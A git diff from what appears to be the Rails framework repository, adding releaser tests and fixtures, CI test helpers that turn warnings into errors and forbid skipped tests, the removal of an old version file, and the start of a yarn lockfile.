diff --git a/tools/releaser/test/fixtures/guides/CHANGELOG.md b/tools/releaser/test/fixtures/guides/CHANGELOG.md
new file mode 100644
index 0000000000000..d490feea759ac
--- /dev/null
+++ b/tools/releaser/test/fixtures/guides/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Change in guides
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/fixtures/railties/CHANGELOG.md b/tools/releaser/test/fixtures/railties/CHANGELOG.md
new file mode 100644
index 0000000000000..da918a3909146
--- /dev/null
+++ b/tools/releaser/test/fixtures/railties/CHANGELOG.md
@@ -0,0 +1,10 @@
+## Rails 5.0.0 (September 25, 2016) ##
+
+*  Changes in Railties
+
+
+## Rails 5.0.0.beta3 (August 11, 2016) ##
+
+*  No changes.
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/tools/releaser/test/releaser_test.rb b/tools/releaser/test/releaser_test.rb
new file mode 100644
index 0000000000000..65154acf23f74
--- /dev/null
+++ b/tools/releaser/test/releaser_test.rb
@@ -0,0 +1,233 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class TestReleaser < Minitest::Test
+  def test_framework_list
+    assert_equal(
+      [
+        "activesupport",
+        "activemodel",
+        "activerecord",
+        "actionview",
+        "actionpack",
+        "activejob",
+        "actionmailer",
+        "actioncable",
+        "activestorage",
+        "actionmailbox",
+        "actiontext",
+        "railties"
+      ],
+      Releaser::FRAMEWORKS
+    )
+  end
+
+  def test_has_a_root
+    releaser = Releaser.new(__dir__, "2.0.0")
+    assert_equal Pathname.new(__dir__), releaser.root
+  end
+
+  def test_has_a_version
+    releaser = Releaser.new(__dir__, "2.0.0")
+    assert_equal "2.0.0", releaser.version
+  end
+
+  def test_knows_about_the_tag_name
+    releaser = Releaser.new(__dir__, "2.0.0")
+    assert_equal "v2.0.0", releaser.tag
+  end
+
+  def test_knows_about_the_parts_that_make_up_a_version
+    releaser = Releaser.new(__dir__, "2.0.1")
+    assert_equal "2", releaser.major
+    assert_equal "0", releaser.minor
+    assert_equal "1", releaser.tiny
+    assert_nil releaser.pre
+  end
+
+  def test_knows_if_the_release_is_a_pre_release
+    releaser = Releaser.new(__dir__, "2.0.0.beta1")
+    assert_equal true, releaser.pre_release?
+
+    releaser = Releaser.new(__dir__, "2.0.0.1")
+    assert_equal false, releaser.pre_release?
+  end
+
+  def test_npm_tag_returns_the_pre_tag_for_a_pre_release
+    releaser = Releaser.new(__dir__, "2.0.0.beta1")
+    assert_equal "pre", releaser.npm_tag
+  end
+
+  def test_npm_tag_returns_the_latest_tag_for_a_pre_release
+    releaser = Releaser.new(__dir__, "2.0.0")
+    assert_equal "latest", releaser.npm_tag
+  end
+
+  def test_npm_version_transforms_version_with_rc_to_npm_format
+    releaser = Releaser.new(__dir__, "5.0.0.rc1")
+    assert_equal "5.0.0-rc1", releaser.npm_version
+  end
+
+  def test_npm_version_transforms_version_with_beta_to_npm_format_with_security_patch
+    releaser = Releaser.new(__dir__, "5.0.0.beta1.1")
+    assert_equal "5.0.0-beta1-1", releaser.npm_version
+  end
+
+  def test_npm_version_when_the_patch_level_is_0
+    releaser = Releaser.new(__dir__, "5.0.0")
+    assert_equal "5.0.0", releaser.npm_version
+  end
+
+  def test_npm_version_when_the_patch_level_is_0_and_there_is_a_security_patch
+    releaser = Releaser.new(__dir__, "5.0.0.1")
+    assert_equal "5.0.1", releaser.npm_version
+  end
+
+  def test_npm_version_when_the_patch_level_is_different_from_0_and_there_is_a_security_path
+    releaser = Releaser.new(__dir__, "5.0.2.1")
+    assert_equal "5.0.201", releaser.npm_version
+  end
+
+  def test_gem_file_returns_the_gem_file_name
+    releaser = Releaser.new(__dir__, "5.0.0")
+    assert_equal "rails-5.0.0.gem", releaser.gem_file("rails")
+  end
+
+  def test_gem_path_returns_the_gem_name
+    releaser = Releaser.new(__dir__, "5.0.0")
+    assert_equal "pkg/rails-5.0.0.gem", releaser.gem_path("rails")
+  end
+
+  def test_gemspect_returns_the_gemspec_name
+    releaser = Releaser.new(__dir__, "5.0.0")
+    assert_equal "rails.gemspec", releaser.gemspec("rails")
+  end
+
+  def test_update_versions_updates_the_version_of_a_gem_and_the_npm_package
+    Dir.mktmpdir("rails") do |root|
+      FileUtils.cp_r(File.expand_path("fixtures", __dir__), root)
+
+      root = "#{root}/fixtures"
+
+      releaser = Releaser.new(root, "5.0.0")
+      releaser.update_versions("activestorage")
+
+      gem_version_file = File.read("#{root}/activestorage/lib/active_storage/gem_version.rb")
+
+      assert_equal "5", gem_version_file[/MAJOR = (\d+)/, 1]
+      assert_equal "0", gem_version_file[/MINOR = (\d+)/, 1]
+      assert_equal "0", gem_version_file[/TINY  = (\d+)/, 1]
+      assert_equal "nil", gem_version_file[/PRE   = (.*?)$/, 1]
+      assert_equal "5.0.0", JSON.parse(File.read("#{root}/activestorage/package.json"))["version"]
+
+      releaser = Releaser.new(root, "5.0.0.beta1")
+      releaser.update_versions("activestorage")
+
+      gem_version_file = File.read("#{root}/activestorage/lib/active_storage/gem_version.rb")
+
+      assert_equal "5", gem_version_file[/MAJOR = (\d+)/, 1]
+      assert_equal "0", gem_version_file[/MINOR = (\d+)/, 1]
+      assert_equal "0", gem_version_file[/TINY  = (\d+)/, 1]
+      assert_equal "\"beta1\"", gem_version_file[/PRE   = (.*?)$/, 1]
+      assert_equal "5.0.0-beta1", JSON.parse(File.read("#{root}/activestorage/package.json"))["version"]
+    end
+  end
+
+  def test_update_versions_with_rails_does_nothing
+    Dir.mktmpdir("rails") do |root|
+      FileUtils.cp_r(File.expand_path("fixtures", __dir__), root)
+
+      root = "#{root}/fixtures"
+
+      releaser = Releaser.new(root, "5.0.0")
+      releaser.update_versions("rails")
+
+      assert_equal false, File.exist?("#{root}/rails/lib/rails/gem_version.rb")
+    end
+  end
+
+  def test_release_notes_returns_the_release_notes_for_a_framework
+    Dir.mktmpdir("rails") do |root|
+      FileUtils.cp_r(File.expand_path("fixtures", __dir__), root)
+
+      root = "#{root}/fixtures"
+
+      releaser = Releaser.new(root, "5.0.0")
+      assert_equal(<<~RELEASE_NOTES, releaser.release_notes)
+        ## Active Support
+
+        *  Change in Active Support
+
+
+        ## Active Model
+
+        *  Changes in Active Model
+
+
+        ## Active Record
+
+        *  Changes in Active Record
+
+
+        ## Action View
+
+        *  Changes in Action View
+
+
+        ## Action Pack
+
+        *  Changes in Action Pack
+
+
+        ## Active Job
+
+        *  Changes in Active Job
+
+
+        ## Action Mailer
+
+        *  Changes in Action Mailer
+
+
+        ## Action Cable
+
+        *  Changes in Active Cable
+
+
+        ## Active Storage
+
+        *  Change in Active Storage
+
+
+        ## Action Mailbox
+
+        *  Changes in Action Mailbox
+
+
+        ## Action Text
+
+        *  Changes in Action Text
+
+
+        ## Railties
+
+        *  Changes in Railties
+
+
+        ## Guides
+
+        *  Change in guides
+
+
+      RELEASE_NOTES
+    end
+  end
+
+  def test_framework_name_humanizes_the_framework_name
+    releaser = Releaser.new(__dir__, "5.0.0")
+    assert_equal "Action View", releaser.framework_name("actionview")
+    assert_equal "Active Record", releaser.framework_name("activerecord")
+    assert_equal "Railties", releaser.framework_name("railties")
+  end
+end
diff --git a/tools/releaser/test/test_helper.rb b/tools/releaser/test/test_helper.rb
new file mode 100644
index 0000000000000..9c42e6fdb26ea
--- /dev/null
+++ b/tools/releaser/test/test_helper.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+$LOAD_PATH.unshift File.expand_path("../lib", __dir__)
+require "releaser"
+
+require "minitest/autorun"
diff --git a/tools/strict_warnings.rb b/tools/strict_warnings.rb
new file mode 100644
index 0000000000000..2f8e2bb2c0ffd
--- /dev/null
+++ b/tools/strict_warnings.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+$VERBOSE = true
+Warning[:deprecated] = true
+
+module RailsStrictWarnings # :nodoc:
+  class WarningError < StandardError; end
+
+  PROJECT_ROOT = File.expand_path("../", __dir__)
+  ALLOWED_WARNINGS = Regexp.union(
+    /circular require considered harmful.*delayed_job/, # Bug in delayed job.
+
+    # Expected non-verbose warning emitted by Rails.
+    /Ignoring .*\.yml because it has expired/,
+    /Failed to validate the schema cache because/,
+  )
+
+  SUPPRESSED_WARNINGS = Regexp.union(
+    # TODO: remove if https://github.com/mikel/mail/pull/1557 or similar fix
+    %r{/lib/mail/parsers/.*statement not reached},
+    %r{/lib/mail/parsers/.*assigned but unused variable - disp_type_s},
+    %r{/lib/mail/parsers/.*assigned but unused variable - testEof}
+  )
+
+  def warn(message, ...)
+    return if SUPPRESSED_WARNINGS.match?(message)
+
+    super
+
+    testpath = message[/test\/.*\.rb/]&.chomp || message
+    return unless message.include?(PROJECT_ROOT) || Pathname.new(testpath).exist?
+    return if ALLOWED_WARNINGS.match?(message)
+    return unless ENV["RAILS_STRICT_WARNINGS"] || ENV["BUILDKITE"]
+
+    raise WarningError.new(message)
+  end
+end
+
+Warning.singleton_class.prepend(RailsStrictWarnings)
diff --git a/tools/test.rb b/tools/test.rb
index ce546b382d982..91b8a1fc33ce6 100644
--- a/tools/test.rb
+++ b/tools/test.rb
@@ -1,20 +1,18 @@
+# frozen_string_literal: true
+
 $: << File.expand_path("test", COMPONENT_ROOT)
 
-require "bundler"
-Bundler.setup
+require "bundler/setup"
 
-require "rails/test_unit/minitest_plugin"
+require "rails/test_unit/runner"
+require "rails/test_unit/reporter"
 require "rails/test_unit/line_filtering"
+require "active_support"
 require "active_support/test_case"
 
-module Rails
-  # Necessary to get rerun-snippts working.
-  def self.root
-    @root ||= Pathname.new(COMPONENT_ROOT)
-  end
-end
-
 ActiveSupport::TestCase.extend Rails::LineFiltering
+Rails::TestUnitReporter.app_root ||= COMPONENT_ROOT
 Rails::TestUnitReporter.executable = "bin/test"
-Minitest.run_via[:rails] = true
-require "active_support/testing/autorun"
+
+Rails::TestUnit::Runner.parse_options(ARGV)
+Rails::TestUnit::Runner.run(ARGV)
diff --git a/tools/test_common.rb b/tools/test_common.rb
new file mode 100644
index 0000000000000..9866241b6dca0
--- /dev/null
+++ b/tools/test_common.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+ActiveSupport::TestCase.alias_method :force_skip, :skip
+
+ENV["RAILS_TEST_EXECUTABLE"] = "bin/test"
+
+if ENV["BUILDKITE"]
+  require "minitest-ci"
+  ENV.delete("CI") # CI has affect on the applications, and we don't want it applied to the apps.
+
+  Minitest::Ci.report_dir = File.join(__dir__, "../test-reports/#{ENV['BUILDKITE_JOB_ID']}")
+
+  module DisableSkipping # :nodoc:
+    private
+      def skip(message = nil, *)
+        flunk "Skipping tests is not allowed in this environment (#{message})\n" \
+          "Tests should only be skipped when the environment is missing a required dependency.\n" \
+          "This should never happen on CI."
+      end
+  end
+  ActiveSupport::TestCase.include(DisableSkipping)
+end
diff --git a/version.rb b/version.rb
deleted file mode 100644
index 9c49e0655aea6..0000000000000
--- a/version.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module Rails
-  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
-  def self.gem_version
-    Gem::Version.new VERSION::STRING
-  end
-
-  module VERSION
-    MAJOR = 5
-    MINOR = 1
-    TINY  = 0
-    PRE   = "alpha"
-
-    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
-  end
-end
diff --git a/yarn.lock b/yarn.lock
new file mode 100644
index 0000000000000..4853a66b3078b
--- /dev/null
+++ b/yarn.lock
@@ -0,0 +1,3272 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@babel/code-frame@^7.10.4":
+  version "7.22.5"
+  resolved "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz"
+  integrity sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==
+  dependencies:
+    "@babel/highlight" "^7.22.5"
+
+"@babel/helper-validator-identifier@^7.22.5":
+  version "7.22.5"
+  resolved "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz"
+  integrity sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==
+
+"@babel/highlight@^7.22.5":
+  version "7.22.5"
+  resolved "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz"
+  integrity sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.22.5"
+    chalk "^2.0.0"
+    js-tokens "^4.0.0"
+
+"@colors/colors@1.5.0":
+  version "1.5.0"
+  resolved "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz"
+  integrity sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==
+
+"@eslint-community/eslint-utils@^4.8.0":
+  version "4.9.0"
+  resolved "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.0.tgz"
+  integrity sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==
+  dependencies:
+    eslint-visitor-keys "^3.4.3"
+
+"@eslint-community/regexpp@^4.12.1":
+  version "4.12.1"
+  resolved "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz"
+  integrity sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==
+
+"@eslint/config-array@^0.21.0":
+  version "0.21.0"
+  resolved "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.0.tgz"
+  integrity sha512-ENIdc4iLu0d93HeYirvKmrzshzofPw6VkZRKQGe9Nv46ZnWUzcF1xV01dcvEg/1wXUR61OmmlSfyeyO7EvjLxQ==
+  dependencies:
+    "@eslint/object-schema" "^2.1.6"
+    debug "^4.3.1"
+    minimatch "^3.1.2"
+
+"@eslint/config-helpers@^0.4.0":
+  version "0.4.0"
+  resolved "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.0.tgz"
+  integrity sha512-WUFvV4WoIwW8Bv0KeKCIIEgdSiFOsulyN0xrMu+7z43q/hkOLXjvb5u7UC9jDxvRzcrbEmuZBX5yJZz1741jog==
+  dependencies:
+    "@eslint/core" "^0.16.0"
+
+"@eslint/core@^0.16.0":
+  version "0.16.0"
+  resolved "https://registry.npmjs.org/@eslint/core/-/core-0.16.0.tgz"
+  integrity sha512-nmC8/totwobIiFcGkDza3GIKfAw1+hLiYVrh3I1nIomQ8PEr5cxg34jnkmGawul/ep52wGRAcyeDCNtWKSOj4Q==
+  dependencies:
+    "@types/json-schema" "^7.0.15"
+
+"@eslint/eslintrc@^3.3.1":
+  version "3.3.1"
+  resolved "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz"
+  integrity sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==
+  dependencies:
+    ajv "^6.12.4"
+    debug "^4.3.2"
+    espree "^10.0.1"
+    globals "^14.0.0"
+    ignore "^5.2.0"
+    import-fresh "^3.2.1"
+    js-yaml "^4.1.0"
+    minimatch "^3.1.2"
+    strip-json-comments "^3.1.1"
+
+"@eslint/js@9.37.0", "@eslint/js@^9.24.0":
+  version "9.37.0"
+  resolved "https://registry.npmjs.org/@eslint/js/-/js-9.37.0.tgz"
+  integrity sha512-jaS+NJ+hximswBG6pjNX0uEJZkrT0zwpVi3BA3vX22aFGjJjmgSTSmPpZCRKmoBL5VY/M6p0xsSJx7rk7sy5gg==
+
+"@eslint/object-schema@^2.1.6":
+  version "2.1.6"
+  resolved "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.6.tgz"
+  integrity sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==
+
+"@eslint/plugin-kit@^0.4.0":
+  version "0.4.0"
+  resolved "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.0.tgz"
+  integrity sha512-sB5uyeq+dwCWyPi31B2gQlVlo+j5brPlWx4yZBrEaRo/nhdDE8Xke1gsGgtiBdaBTxuTkceLVuVt/pclrasb0A==
+  dependencies:
+    "@eslint/core" "^0.16.0"
+    levn "^0.4.1"
+
+"@humanfs/core@^0.19.1":
+  version "0.19.1"
+  resolved "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz"
+  integrity sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==
+
+"@humanfs/node@^0.16.6":
+  version "0.16.7"
+  resolved "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz"
+  integrity sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==
+  dependencies:
+    "@humanfs/core" "^0.19.1"
+    "@humanwhocodes/retry" "^0.4.0"
+
+"@humanwhocodes/module-importer@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz"
+  integrity sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==
+
+"@humanwhocodes/retry@^0.4.0", "@humanwhocodes/retry@^0.4.2":
+  version "0.4.3"
+  resolved "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz"
+  integrity sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==
+
+"@jridgewell/source-map@^0.3.3":
+  version "0.3.4"
+  resolved "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.4.tgz"
+  integrity sha512-KE/SxsDqNs3rrWwFHcRh15ZLVFrI0YoZtgAdIyIq9k5hUNmiWRXXThPomIxHuL20sLdgzbDFyvkUMna14bvtrw==
+
+"@rails/activestorage@>= 8.1.0-alpha":
+  version "8.1.0-beta1"
+  resolved "https://registry.npmjs.org/@rails/activestorage/-/activestorage-8.1.0-beta1.tgz"
+  integrity sha512-YFA0CpYbQ+rjenounEYgm4KQTqcF6mZGviiz1ovJ5G/Zpxj7kWi0cGaVss1vNXeQgoZY0evDv8J7/cNWvBG/gg==
+  dependencies:
+    spark-md5 "^3.0.1"
+
+"@rollup/plugin-commonjs@^19.0.1":
+  version "19.0.2"
+  resolved "https://registry.npmjs.org/@rollup/plugin-commonjs/-/plugin-commonjs-19.0.2.tgz"
+  integrity sha512-gBjarfqlC7qs0AutpRW/hrFNm+cd2/QKxhwyFa+srbg1oX7rDsEU3l+W7LAUhsAp9mPJMAkXDhLbQaVwEaE8bA==
+  dependencies:
+    "@rollup/pluginutils" "^3.1.0"
+    commondir "^1.0.1"
+    estree-walker "^2.0.1"
+    glob "^7.1.6"
+    is-reference "^1.2.1"
+    magic-string "^0.25.7"
+    resolve "^1.17.0"
+
+"@rollup/plugin-node-resolve@^11.0.1":
+  version "11.2.1"
+  resolved "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz"
+  integrity sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==
+  dependencies:
+    "@rollup/pluginutils" "^3.1.0"
+    "@types/resolve" "1.17.1"
+    builtin-modules "^3.1.0"
+    deepmerge "^4.2.2"
+    is-module "^1.0.0"
+    resolve "^1.19.0"
+
+"@rollup/pluginutils@^3.1.0":
+  version "3.1.0"
+  resolved "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz"
+  integrity sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==
+  dependencies:
+    "@types/estree" "0.0.39"
+    estree-walker "^1.0.1"
+    picomatch "^2.2.2"
+
+"@rtsao/scc@^1.1.0":
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz"
+  integrity sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==
+
+"@socket.io/component-emitter@~3.1.0":
+  version "3.1.2"
+  resolved "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz"
+  integrity sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==
+
+"@types/cookie@^0.4.1":
+  version "0.4.1"
+  resolved "https://registry.npmjs.org/@types/cookie/-/cookie-0.4.1.tgz"
+  integrity sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==
+
+"@types/cors@^2.8.12":
+  version "2.8.17"
+  resolved "https://registry.npmjs.org/@types/cors/-/cors-2.8.17.tgz"
+  integrity sha512-8CGDvrBj1zgo2qE+oS3pOCyYNqCPryMWY2bGfwA0dcfopWGgxs+78df0Rs3rc9THP4JkOhLsAa+15VdpAqkcUA==
+  dependencies:
+    "@types/node" "*"
+
+"@types/estree@*", "@types/estree@0.0.39":
+  version "0.0.39"
+  resolved "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz"
+  integrity sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==
+
+"@types/estree@^1.0.6":
+  version "1.0.8"
+  resolved "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz"
+  integrity sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==
+
+"@types/json-schema@^7.0.15":
+  version "7.0.15"
+  resolved "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz"
+  integrity sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==
+
+"@types/json5@^0.0.29":
+  version "0.0.29"
+  resolved "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz"
+  integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==
+
+"@types/node@*", "@types/node@>=10.0.0":
+  version "20.3.2"
+  resolved "https://registry.npmjs.org/@types/node/-/node-20.3.2.tgz"
+  integrity sha512-vOBLVQeCQfIcF/2Y7eKFTqrMnizK5lRNQ7ykML/5RuwVXVWxYkgwS7xbt4B6fKCUPgbSL5FSsjHQpaGQP/dQmw==
+
+"@types/resolve@1.17.1":
+  version "1.17.1"
+  resolved "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz"
+  integrity sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==
+  dependencies:
+    "@types/node" "*"
+
+accepts@~1.3.4:
+  version "1.3.8"
+  resolved "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz"
+  integrity sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==
+  dependencies:
+    mime-types "~2.1.34"
+    negotiator "0.6.3"
+
+acorn-jsx@^5.3.2:
+  version "5.3.2"
+  resolved "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz"
+  integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
+
+acorn@^8.15.0, acorn@^8.8.2:
+  version "8.15.0"
+  resolved "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz"
+  integrity sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==
+
+adm-zip@~0.4.3:
+  version "0.4.16"
+  resolved "https://registry.npmjs.org/adm-zip/-/adm-zip-0.4.16.tgz"
+  integrity sha512-TFi4HBKSGfIKsK5YCkKaaFG2m4PEDyViZmEwof3MTIgzimHLto6muaHVpbrljdIvIrFZzEq/p4nafOeLcYegrg==
+
+agent-base@6:
+  version "6.0.2"
+  resolved "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz"
+  integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==
+  dependencies:
+    debug "4"
+
+agent-base@^4.3.0:
+  version "4.3.0"
+  resolved "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz"
+  integrity sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==
+  dependencies:
+    es6-promisify "^5.0.0"
+
+ajv@^6.12.3, ajv@^6.12.4:
+  version "6.12.6"
+  resolved "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz"
+  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-styles@^3.2.1:
+  version "3.2.1"
+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz"
+  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
+  dependencies:
+    color-convert "^1.9.0"
+
+ansi-styles@^4.0.0, ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+anymatch@~3.1.2:
+  version "3.1.3"
+  resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz"
+  integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==
+  dependencies:
+    normalize-path "^3.0.0"
+    picomatch "^2.0.4"
+
+archiver-utils@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz"
+  integrity sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==
+  dependencies:
+    glob "^7.1.4"
+    graceful-fs "^4.2.0"
+    lazystream "^1.0.0"
+    lodash.defaults "^4.2.0"
+    lodash.difference "^4.5.0"
+    lodash.flatten "^4.4.0"
+    lodash.isplainobject "^4.0.6"
+    lodash.union "^4.6.0"
+    normalize-path "^3.0.0"
+    readable-stream "^2.0.0"
+
+archiver@^3.0.0:
+  version "3.1.1"
+  resolved "https://registry.npmjs.org/archiver/-/archiver-3.1.1.tgz"
+  integrity sha512-5Hxxcig7gw5Jod/8Gq0OneVgLYET+oNHcxgWItq4TbhOzRLKNAFUb9edAftiMKXvXfCB0vbGrJdZDNq0dWMsxg==
+  dependencies:
+    archiver-utils "^2.1.0"
+    async "^2.6.3"
+    buffer-crc32 "^0.2.1"
+    glob "^7.1.4"
+    readable-stream "^3.4.0"
+    tar-stream "^2.1.0"
